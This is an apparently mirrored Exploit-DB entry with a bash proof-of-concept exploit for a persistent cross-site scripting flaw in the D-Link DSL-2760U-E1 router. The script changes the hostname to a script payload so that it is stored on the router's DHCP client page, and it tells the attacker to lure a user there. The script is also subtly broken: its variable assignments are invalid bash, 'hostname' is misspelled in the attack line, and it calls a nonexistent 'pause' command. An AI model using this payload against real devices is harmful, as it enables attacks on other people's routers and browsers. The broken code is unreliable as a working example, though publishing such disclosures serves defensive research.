D-Link DSL-2760U-E1 – Persistent Cross-Site Scripting

• Exploit Database
• 14 阅读

• 作者： Yuval tisf Nativ
  日期： 2014-06-21
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/33822/

• #!/bin/bash
  
  # Written and discovered by Yuval tisf Nativ
  # The page 'dhcpinfo.html' will list all machines connected to the network with hostname, 
  # IP, MAC and IP expiration. It is possible to store an XSS in this table by changing hostname. 
  
  # Checks if you are root
  if [ "$(id -u)" != "0" ]; then
  	echo "Please execute this script as root"
  	exit 1
  fi	
  
  # You're XSS here
  xss = "\"<script>alert('pwned');</script>"
  
  # backup current hostname
  currhost = `hostname`
  
  # Bannering
  echo ""
  echo "		D-Link Persistent XSS by tisf"
  echo ""
  echo "The page dhcpinfo.html is the vulnerable page."
  echo "Ask the user to access it and your persistent XSS will be triggered."
  echo ""
  
  # Change hostname to XSS
  sudo hosname $xss
  
  # Restore previous hostname on exit
  pause "Type any key to exit and restore your previous hostname."
  sudo hostname $currhost